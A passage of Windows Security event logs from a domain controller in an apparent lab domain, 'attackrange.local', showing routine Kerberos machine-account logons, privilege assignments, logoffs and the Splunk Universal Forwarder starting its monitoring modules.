	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x49516E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:02:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257010
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x49516E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:02:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257009
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x495060
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59278

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:02:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257008
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x495060

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:02:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257021
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x6cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:02:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257020
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb24
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:02:22 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257022
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x495238

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:02:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257025
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x497336

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:02:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257024
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x497336
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59291

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:02:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257023
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x497336

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:03:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257027
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1314
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:03:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257026
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xee8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:03:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257028
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1320
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:03:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257029
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe34
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:03:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257030
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x104c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:03:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257032
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1110
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:03:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257031
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12dc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:03:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257035
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x49A8E5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:03:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257034
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x49A8E5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59304

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:03:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257033
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x49A8E5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:04:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257037
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc88
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:04:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257036
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5a4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:04:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257038
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd14
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

